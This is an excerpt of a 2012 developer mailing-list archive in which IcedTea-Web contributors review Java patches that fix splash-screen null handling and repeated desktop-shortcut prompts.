application' > +SPLASHerrorInInformation = Error during loading of information element, verify source rather > +SPLASHmissingInformation = Information element is missing, verify source rather > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties > --- a/netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties Fri Dec 21 14:12:08 2012 +0100 > @@ -466,3 +466,6 @@ > SPLASHcfl= Nelze \u010d\u00edst odkaz > SPLASHvendorsInfo= Informace od dodavatele va\u0161\u00ed aplikace > SPLASHanotherInfo= Dal\u0161\u00ed dostupn\u00e9 informace > +SPLASHdefaultHomepage = Nespecifikovan\u00e1 domovsk\u00e1 st\u00e1nka, je doporu\u010deno zkontrolovat zdroj > +SPLASHerrorInInformation = Chyba na\u010d\u00edt\u00e1n\u00ed informa\u010dn\u00edho elementu, je doporu\u010deno zkontrolovat zdroj > +SPLASHmissingInformation = Informa\u010dn\u00ed element chyb\u00fd, je doporu\u010deno zkontrolovat zdroj My CZ is a little rusty so I'll trust you here. ;-) > \ No newline at end of file > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java > --- a/netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java Fri Dec 21 14:12:08 2012 +0100 > @@ -44,6 +44,7 @@ > import java.util.List; > import net.sourceforge.jnlp.InformationDesc; > import net.sourceforge.jnlp.JNLPFile; > +import net.sourceforge.jnlp.runtime.Translator; > > /** > * This class is wrapper arround tag which should > @@ -193,12 +194,31 @@ > } > > public static InformationElement createFromJNLP(JNLPFile file) { > - if (file == null) { > - return null; > - } > try { > + if (file == null) { > + String message = Translator.R(InfoItem.SPLASH + "errorInInformation"); > + InformationElement ie = new InformationElement(); > + ie.setHomepage(""); > + ie.setTitle(message); > + ie.setvendor(""); > + ie.addDescription(message); > + return ie; > + } > + if (file.getInformation() == null) { > + String message = Translator.R(InfoItem.SPLASH + "missingInformation"); > + InformationElement ie = new InformationElement(); > + ie.setHomepage(""); > + ie.setTitle(message); > + ie.setvendor(""); > + ie.addDescription(message); Looks like you could extract a little method here. > + return ie; > + } > InformationElement ie = new InformationElement(); > - ie.setHomepage(file.getInformation().getHomepage().toString()); > + String homePage = Translator.R(InfoItem.SPLASH + "defaultHomepage"); > + if (file.getInformation().getHomepage() != null) { > + homePage = file.getInformation().getHomepage().toString(); > + } > + ie.setHomepage(homePage); > ie.setTitle(file.getInformation().getTitle()); > ie.setvendor(file.getInformation().getVendor()); > ie.addDescription(file.getInformation().getDescriptionStrict((String) (InformationDesc.DEFAULT))); > @@ -208,7 +228,13 @@ > return ie; > } catch (Exception ex) { > ex.printStackTrace(); > - return null; > + String message = Translator.R(InfoItem.SPLASH + "errorInInformation"); > + InformationElement ie = new InformationElement(); > + ie.setHomepage(""); > + ie.setTitle(message); > + ie.setvendor(""); > + ie.addDescription(ex.getMessage()); > + return ie; > } > } > } OK for head, feel free to do a simple method extraction before pushing. Thanks, -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/2c03ef1d/attachment.html From jvanek at redhat.com Fri Dec 21 08:05:48 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Fri, 21 Dec 2012 17:05:48 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour Message-ID: <50D488DC.4000507@redhat.com> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. It is pretty simple. The disadvantage however is: + public File getFinalLinuxDesktopIconFile() { + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); + } to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. However .. can it be enough? The second patch is for testing purposes of this case which I would like to push forward as soon as possible. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: doNotAskToDesktopIconCreationWithXtrustAll.patch Type: text/x-patch Size: 690 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/b263f64b/doNotAskToDesktopIconCreationWithXtrustAll.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedRecreationOfDesktopIcon.patch Type: text/x-patch Size: 2932 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/b263f64b/fixedRecreationOfDesktopIcon.patch From bugzilla-daemon at icedtea.classpath.org Fri Dec 21 08:06:16 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 21 Dec 2012 16:06:16 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 JiriVanek changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |ASSIGNED CC| |jvanek at redhat.com --- Comment #8 from JiriVanek --- Little bit smaller patch proposed here: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021245.html -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/5c8fb349/attachment.html From adomurad at redhat.com Fri Dec 21 08:38:09 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 21 Dec 2012 11:38:09 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D488DC.4000507@redhat.com> References: <50D488DC.4000507@redhat.com> Message-ID: <50D49071.80107@redhat.com> On 12/21/2012 11:05 AM, Jiri Vanek wrote: > Hi! This is fix for > http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP > applications will prompt for creating desktop shortcuts every time > they are run > > When I have seen Omairs original patch it was too much complicated, So > I want at least to try this one. Do you know why Omair used explicit locking? I couldn't quite figure it out > It is pretty simple. The disadvantage however is: > + public File getFinalLinuxDesktopIconFile() { > + return new > File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); > + } > > to be dependent on System.getProperty("user.home")+"/Desktop/" and > .desktop suffix. > > However .. can it be enough? > > The second patch is for testing purposes of this case which I would > like to push forward as soon as possible. > > J. > doNotAskToDesktopIconCreationWithXtrustAll.patch > > > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java > --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 16:58:29 2012 +0100 > @@ -171,6 +177,9 @@ > * @return true if a desktop shortcut should be created > */ > private boolean shouldCreateShortcut(ShortcutDesc sd) { > + if (JNLPRuntime.isTrustAll()) { > + return true; > + } > String currentSetting = JNLPRuntime.getConfiguration() > .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); > boolean createShortcut = false; This is OK for head. > > fixedRecreationOfDesktopIcon.patch > > > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java > --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 16:58:29 2012 +0100 > @@ -146,7 +146,13 @@ > private void addMenuAndDesktopEntries() { > XDesktopEntry entry = new XDesktopEntry(file); > ShortcutDesc sd = file.getInformation().getShortcut(); > - > + if (entry.getFinalLinuxDesktopIconFile().exists()) { How would this behave if it was ever run on a non-Linux system ? > + if (JNLPRuntime.isDebug()) { > + System.out.println("ApplicationInstance.addMenuAndDesktopEntries(): file - " > + + entry.getFinalLinuxDesktopIconFile().getAbsolutePath() + " already exists. Not proceeding with desktop additions"); > + } > + return; > + } > if (shouldCreateShortcut(sd)) { > entry.createDesktopShortcut(); > } > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/util/XDesktopEntry.java > --- a/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec 21 16:58:29 2012 +0100 > @@ -78,7 +78,7 @@ > > String fileContents = "[Desktop Entry]\n"; > fileContents += "Version=1.0\n"; > - fileContents += "Name=" + sanitize(file.getTitle()) + "\n"; > + fileContents += "Name=" + getDesktopIconFinalName() + "\n"; > fileContents += "GenericName=Java Web Start Application\n"; > fileContents += "Comment=" + sanitize(file.getInformation().getDescription()) + "\n"; > fileContents += "Type=Application\n"; > @@ -122,6 +122,11 @@ > return iconSize; > } > > + public File getShortcutTmpFile() { > + File shortcutFile = new File(JNLPRuntime.getConfiguration().getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); > + return shortcutFile; > + } > + > /** > * Set the icon size to use for the desktop shortcut > * > @@ -148,9 +153,7 @@ > * Install this XDesktopEntry into the user's desktop as a launcher > */ > private void installDesktopLauncher() { > - File shortcutFile = new File(JNLPRuntime.getConfiguration() > - .getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) > - + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); > + File shortcutFile = getShortcutTmpFile(); > try { > > if (!shortcutFile.getParentFile().isDirectory() && !shortcutFile.getParentFile().mkdirs()) { > @@ -234,4 +237,12 @@ > } > } > > + public String getDesktopIconFinalName() { > + return sanitize(file.getTitle()); > + } > + > + public File getFinalLinuxDesktopIconFile() { > + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); A deployment property could still be good. This seems a little hardcoded. > + } > + > } happy hackerdays, -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/38fa390a/attachment.html From jvanek at redhat.com Fri Dec 21 08:58:02 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Fri, 21 Dec 2012 17:58:02 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49071.80107@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> Message-ID: <50D4951A.1020504@redhat.com> On 12/21/2012 05:38 PM, Adam Domurad wrote: > On 12/21/2012 11:05 AM, Jiri Vanek wrote: >> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >> >> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. > > Do you know why Omair used explicit locking? I couldn't quite figure it out nope ;( > >> It is pretty simple. The disadvantage however is: >> + public File getFinalLinuxDesktopIconFile() { >> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >> + } >> >> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >> >> However .. can it be enough? >> >> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >> >> J. > >> doNotAskToDesktopIconCreationWithXtrustAll.patch >> >> >> diff -r a24c48429ff1 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java >> --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 13:19:14 2012 +0100 >> +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 16:58:29 2012 +0100 >> @@ -171,6 +177,9 @@ >> * @return true if a desktop shortcut should be created >> */ >> private boolean shouldCreateShortcut(ShortcutDesc sd) { >> + if (JNLPRuntime.isTrustAll()) { >> + return true; >> + } >> String currentSetting = JNLPRuntime.getConfiguration() >> .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); >> boolean createShortcut = false; > > This is OK for head. thank you. > >> >> fixedRecreationOfDesktopIcon.patch >> >> >> diff -r a24c48429ff1 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java >> --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 13:19:14 2012 +0100 >> +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 16:58:29 2012 +0100 >> @@ -146,7 +146,13 @@ >> private void addMenuAndDesktopEntries() { >> XDesktopEntry entry = new XDesktopEntry(file); >> ShortcutDesc sd = file.getInformation().getShortcut(); >> - >> + if (entry.getFinalLinuxDesktopIconFile().exists()) { > > How would this behave if it was ever run on a non-Linux system ? It will create file which will probably not exists. So it will return false and so do the next lines - so it do correct. > >> + if (JNLPRuntime.isDebug()) { >> + System.out.println("ApplicationInstance.addMenuAndDesktopEntries(): file - " >> + + entry.getFinalLinuxDesktopIconFile().getAbsolutePath() + " already exists. Not proceeding with desktop additions"); >> + } >> + return; >> + } >> if (shouldCreateShortcut(sd)) { >> entry.createDesktopShortcut(); >> } >> diff -r a24c48429ff1 netx/net/sourceforge/jnlp/util/XDesktopEntry.java >> --- a/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec 21 13:19:14 2012 +0100 >> +++ b/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec 21 16:58:29 2012 +0100 >> @@ -78,7 +78,7 @@ >> >> String fileContents = "[Desktop Entry]\n"; >> fileContents += "Version=1.0\n"; >> - fileContents += "Name=" + sanitize(file.getTitle()) + "\n"; >> + fileContents += "Name=" + getDesktopIconFinalName() + "\n"; >> fileContents += "GenericName=Java Web Start Application\n"; >> fileContents += "Comment=" + sanitize(file.getInformation().getDescription()) + "\n"; >> fileContents += "Type=Application\n"; >> @@ -122,6 +122,11 @@ >> return iconSize; >> } >> >> + public File getShortcutTmpFile() { >> + File shortcutFile = new File(JNLPRuntime.getConfiguration().getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); >> + return shortcutFile; >> + } >> + >> /** >> * Set the icon size to use for the desktop shortcut >> * >> @@ -148,9 +153,7 @@ >> * Install this XDesktopEntry into the user's desktop as a launcher >> */ >> private void installDesktopLauncher() { >> - File shortcutFile = new File(JNLPRuntime.getConfiguration() >> - .getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) >> - + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); >> + File shortcutFile = getShortcutTmpFile(); >> try { >> >> if (!shortcutFile.getParentFile().isDirectory()&& !shortcutFile.getParentFile().mkdirs()) { >> @@ -234,4 +237,12 @@ >> } >> } >> >> + public String getDesktopIconFinalName() { >> + return sanitize(file.getTitle()); >> + } >> + >> + public File getFinalLinuxDesktopIconFile() { >> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); > > A deployment property could still be good. This seems a little hardcoded. Yah hardcoded but nice and doing as expected. How does deployment property behave when desktop icon is removed manually (what is what we actually all do:) ? Is there some system independent way how to get usr's desktop? It will solve this, but I think there is not. So when (System.getProperty("user.home")+"/Desktop/" will become invalid we can elaborate here by array of locations? I still don't like the cannon (to kill a chicken) which deployment property was.... > >> + } >> + >> } > > happy hackerdays, > -Adam From xerxes at zafena.se Fri Dec 21 09:04:18 2012 From: xerxes at zafena.se (=?UTF-8?B?WGVyeGVzIFLDpW5ieQ==?=) Date: Fri, 21 Dec 2012 18:04:18 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D488DC.4000507@redhat.com> References: <50D488DC.4000507@redhat.com> Message-ID: <50D49692.7050007@zafena.se> 2012-12-21 17:05, Jiri Vanek skrev: > Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run > > When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. > It is pretty simple. The disadvantage however is: > + public File getFinalLinuxDesktopIconFile() { > + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); > + } > > to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. > > However .. can it be enough? > > The second patch is for testing purposes of this case which I would like to push forward as soon as possible. > > J. This will be broken on non-english systems. The name of the Desktop folder gets localized on many distributions. For example the Desktop folder is called Skrivbord on Swedish user systems. The configuration of the user desktop folder location is set in the ~/.config/user-dirs.dirs On my system this file contains: xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs # This file is written by xdg-user-dirs-update # If you want to change or add directories, just edit the line you're # interested in. All local changes will be retained on the next run # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an # absolute path. No other format is supported. # XDG_DESKTOP_DIR="$HOME/Skrivbord" XDG_DOWNLOAD_DIR="$HOME/H?mtningar" XDG_TEMPLATES_DIR="$HOME/Mallar" XDG_PUBLICSHARE_DIR="$HOME/Publikt" XDG_DOCUMENTS_DIR="$HOME/Dokument" XDG_MUSIC_DIR="$HOME/Musik" XDG_PICTURES_DIR="$HOME/Bilder" XDG_VIDEOS_DIR="$HOME/Video" From ptisnovs at redhat.com Fri Dec 21 09:04:17 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Fri, 21 Dec 2012 12:04:17 -0500 (EST) Subject: [rfc][icedtea-web] Minor addition to C++ testing; cleanup In-Reply-To: <50D0C032.9050907@redhat.com> Message-ID: <1066170477.3523048.1356109457965.JavaMail.root@redhat.com> Hi Adam, this change looks ok. As far as I know you also need to check if TMPDIR env. variable points to proper directory in case this variable exists instead of use /tmp as the first fallback (it should be second fallback ;) Changelog typo: s/explict/explicit Cheers, Pavel ----- Adam Domurad wrote: > 2012-12-XX Adam Domurad > > * plugin/icedteanp/IcedTeaNPPlugin.cc: Remove need for 'goto' in > (NP_Initialize). > Expose some previously static variables/functions for unit testing > purposes. Reduce need for explict allocations for strings > 'data_directory' and 'appletviewer_executable'. > * tests/cpp-unit-tests/IcedTeaNPPluginTest.cc: > Add some basic tests for functions in IcedTeaNPPlugin.cc. > > The biggest change out of here I want is that NP_Initialize has > considerably less string-fiddling/goto noise. > > Happy hacking, > -Adam From jvanek at icedtea.classpath.org Fri Dec 21 09:05:18 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Fri, 21 Dec 2012 17:05:18 +0000 Subject: /hg/icedtea-web: 2 new changesets Message-ID: changeset 4f22cfdd5667 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=4f22cfdd5667 author: Jiri Vanek date: Fri Dec 21 18:02:50 2012 +0100 Minor fix for possible NPE (non fatal) during splashscreen creation changeset 01b5bc425cd4 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=01b5bc425cd4 author: Jiri Vanek date: Fri Dec 21 18:06:53 2012 +0100 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java - (shouldCreateShortcut) added handling of xtrustall during asking for desktop icon creation diffstat: ChangeLog | 16 ++++ netx/net/sourceforge/jnlp/resources/Messages.properties | 3 + netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties | 3 + netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java | 3 + netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java | 36 ++++++++- 5 files changed, 56 insertions(+), 5 deletions(-) diffs (119 lines): diff -r a24c48429ff1 -r 01b5bc425cd4 ChangeLog --- a/ChangeLog Fri Dec 21 13:19:14 2012 +0100 +++ b/ChangeLog Fri Dec 21 18:06:53 2012 +0100 @@ -1,3 +1,19 @@ +2012-12-21 Jiri Vanek + + * netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java + (shouldCreateShortcut) added handling of xtrustall during asking for + desktop icon creation + +2012-12-21 Jiri Vanek + + Minor fix for possible NPE (non fatal) during splashscreen creation + * netx/net/sourceforge/jnlp/resources/Messages.properties: + * netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties: + Added messages for user (SPLASHdefaultHomepage) + (SPLASHerrorInInformation)(SPLASHmissingInformation). + * netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java + (createFromJNLP) catch of NPE replaced by conditions with proper messages. + 2012-12-21 Jiri Vanek Forgotten condition for AviationWeather first run: diff -r a24c48429ff1 -r 01b5bc425cd4 netx/net/sourceforge/jnlp/resources/Messages.properties --- a/netx/net/sourceforge/jnlp/resources/Messages.properties Fri Dec 21 13:19:14 2012 +0100 +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties Fri Dec 21 18:06:53 2012 +0100 @@ -470,3 +470,6 @@ SPLASHcfl = Can't follow link to SPLASHvendorsInfo = Information from vendor of your application SPLASHanotherInfo = Another available info +SPLASHdefaultHomepage = Unspecified homepage, verify source rather +SPLASHerrorInInformation = Error during loading of information element, verify source rather +SPLASHmissingInformation = Information element is missing, verify source rather diff -r a24c48429ff1 -r 01b5bc425cd4 netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties --- a/netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties Fri Dec 21 13:19:14 2012 +0100 +++ b/netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties Fri Dec 21 18:06:53 2012 +0100 @@ -466,3 +466,6 @@ SPLASHcfl= Nelze \u010d\u00edst odkaz SPLASHvendorsInfo= Informace od dodavatele va\u0161\u00ed aplikace SPLASHanotherInfo= Dal\u0161\u00ed dostupn\u00e9 informace +SPLASHdefaultHomepage = Nespecifikovan\u00e1 domovsk\u00e1 st\u00e1nka, je doporu\u010deno zkontrolovat zdroj +SPLASHerrorInInformation = Chyba na\u010d\u00edt\u00e1n\u00ed informa\u010dn\u00edho elementu, je doporu\u010deno zkontrolovat zdroj +SPLASHmissingInformation = Informa\u010dn\u00ed element chyb\u00fd, je doporu\u010deno zkontrolovat zdroj \ No newline at end of file diff -r a24c48429ff1 -r 01b5bc425cd4 netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 13:19:14 2012 +0100 +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri Dec 21 18:06:53 2012 +0100 @@ -171,6 +171,9 @@ * @return true if a desktop shortcut should be created */ private boolean shouldCreateShortcut(ShortcutDesc sd) { + if (JNLPRuntime.isTrustAll()) { + return true; + } String currentSetting = JNLPRuntime.getConfiguration() .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); boolean createShortcut = false; diff -r a24c48429ff1 -r 01b5bc425cd4 netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java --- a/netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java Fri Dec 21 13:19:14 2012 +0100 +++ b/netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java Fri Dec 21 18:06:53 2012 +0100 @@ -44,6 +44,7 @@ import java.util.List; import net.sourceforge.jnlp.InformationDesc; import net.sourceforge.jnlp.JNLPFile; +import net.sourceforge.jnlp.runtime.Translator; /** * This class is wrapper arround tag which should @@ -193,12 +194,31 @@ } public static InformationElement createFromJNLP(JNLPFile file) { - if (file == null) { - return null; - } try { + if (file == null) { + String message = Translator.R(InfoItem.SPLASH + "errorInInformation"); + InformationElement ie = new InformationElement(); + ie.setHomepage(""); + ie.setTitle(message); + ie.setvendor(""); + ie.addDescription(message); + return ie; + } + if (file.getInformation() == null) { + String message = Translator.R(InfoItem.SPLASH + "missingInformation"); + InformationElement ie = new InformationElement(); + ie.setHomepage(""); + ie.setTitle(message); + ie.setvendor(""); + ie.addDescription(message); + return ie; + } InformationElement ie = new InformationElement(); - ie.setHomepage(file.getInformation().getHomepage().toString()); + String homePage = Translator.R(InfoItem.SPLASH + "defaultHomepage"); + if (file.getInformation().getHomepage() != null) { + homePage = file.getInformation().getHomepage().toString(); + } + ie.setHomepage(homePage); ie.setTitle(file.getInformation().getTitle()); ie.setvendor(file.getInformation().getVendor()); ie.addDescription(file.getInformation().getDescriptionStrict((String) (InformationDesc.DEFAULT))); @@ -208,7 +228,13 @@ return ie; } catch (Exception ex) { ex.printStackTrace(); - return null; + String message = Translator.R(InfoItem.SPLASH + "errorInInformation"); + InformationElement ie = new InformationElement(); + ie.setHomepage(""); + ie.setTitle(message); + ie.setvendor(""); + ie.addDescription(ex.getMessage()); + return ie; } } } From adomurad at redhat.com Fri Dec 21 09:06:58 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 21 Dec 2012 12:06:58 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D4951A.1020504@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> <50D4951A.1020504@redhat.com> Message-ID: <50D49732.50901@redhat.com> On 12/21/2012 11:58 AM, Jiri Vanek wrote: > On 12/21/2012 05:38 PM, Adam Domurad wrote: >> On 12/21/2012 11:05 AM, Jiri Vanek wrote: >>> Hi! This is fix for >>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>> applications will prompt for creating desktop shortcuts every time >>> they are run >>> >>> When I have seen Omairs original patch it was too much complicated, >>> So I want at least to try this one. >> >> Do you know why Omair used explicit locking? I couldn't quite figure >> it out > nope ;( >> >>> It is pretty simple. The disadvantage however is: >>> + public File getFinalLinuxDesktopIconFile() { >>> + return new >>> File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>> + } >>> >>> to be dependent on System.getProperty("user.home")+"/Desktop/" and >>> .desktop suffix. >>> >>> However .. can it be enough? >>> >>> The second patch is for testing purposes of this case which I would >>> like to push forward as soon as possible. >>> >>> J. >> >>> doNotAskToDesktopIconCreationWithXtrustAll.patch >>> >>> >>> diff -r a24c48429ff1 >>> netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java >>> --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri >>> Dec 21 13:19:14 2012 +0100 >>> +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri >>> Dec 21 16:58:29 2012 +0100 >>> @@ -171,6 +177,9 @@ >>> * @return true if a desktop shortcut should be created >>> */ >>> private boolean shouldCreateShortcut(ShortcutDesc sd) { >>> + if (JNLPRuntime.isTrustAll()) { >>> + return true; >>> + } >>> String currentSetting = JNLPRuntime.getConfiguration() >>> .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); >>> boolean createShortcut = false; >> >> This is OK for head. > > thank you. >> >>> >>> fixedRecreationOfDesktopIcon.patch >>> >>> >>> diff -r a24c48429ff1 >>> netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java >>> --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri >>> Dec 21 13:19:14 2012 +0100 >>> +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Fri >>> Dec 21 16:58:29 2012 +0100 >>> @@ -146,7 +146,13 @@ >>> private void addMenuAndDesktopEntries() { >>> XDesktopEntry entry = new XDesktopEntry(file); >>> ShortcutDesc sd = file.getInformation().getShortcut(); >>> - >>> + if (entry.getFinalLinuxDesktopIconFile().exists()) { >> >> How would this behave if it was ever run on a non-Linux system ? > > It will create file which will probably not exists. So it will return > false and so do the next lines - so it do correct. >> >>> + if (JNLPRuntime.isDebug()) { >>> + >>> System.out.println("ApplicationInstance.addMenuAndDesktopEntries(): >>> file - " >>> + + >>> entry.getFinalLinuxDesktopIconFile().getAbsolutePath() + " already >>> exists. Not proceeding with desktop additions"); >>> + } >>> + return; >>> + } >>> if (shouldCreateShortcut(sd)) { >>> entry.createDesktopShortcut(); >>> } >>> diff -r a24c48429ff1 netx/net/sourceforge/jnlp/util/XDesktopEntry.java >>> --- a/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec >>> 21 13:19:14 2012 +0100 >>> +++ b/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Fri Dec >>> 21 16:58:29 2012 +0100 >>> @@ -78,7 +78,7 @@ >>> >>> String fileContents = "[Desktop Entry]\n"; >>> fileContents += "Version=1.0\n"; >>> - fileContents += "Name=" + sanitize(file.getTitle()) + "\n"; >>> + fileContents += "Name=" + getDesktopIconFinalName() + "\n"; >>> fileContents += "GenericName=Java Web Start Application\n"; >>> fileContents += "Comment=" + >>> sanitize(file.getInformation().getDescription()) + "\n"; >>> fileContents += "Type=Application\n"; >>> @@ -122,6 +122,11 @@ >>> return iconSize; >>> } >>> >>> + public File getShortcutTmpFile() { >>> + File shortcutFile = new >>> File(JNLPRuntime.getConfiguration().getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) >>> + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + >>> ".desktop"); >>> + return shortcutFile; >>> + } >>> + >>> /** >>> * Set the icon size to use for the desktop shortcut >>> * >>> @@ -148,9 +153,7 @@ >>> * Install this XDesktopEntry into the user's desktop as a >>> launcher >>> */ >>> private void installDesktopLauncher() { >>> - File shortcutFile = new File(JNLPRuntime.getConfiguration() >>> - .getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) >>> - + File.separator + >>> FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); >>> + File shortcutFile = getShortcutTmpFile(); >>> try { >>> >>> if (!shortcutFile.getParentFile().isDirectory()&& >>> !shortcutFile.getParentFile().mkdirs()) { >>> @@ -234,4 +237,12 @@ >>> } >>> } >>> >>> + public String getDesktopIconFinalName() { >>> + return sanitize(file.getTitle()); >>> + } >>> + >>> + public File getFinalLinuxDesktopIconFile() { >>> + return new 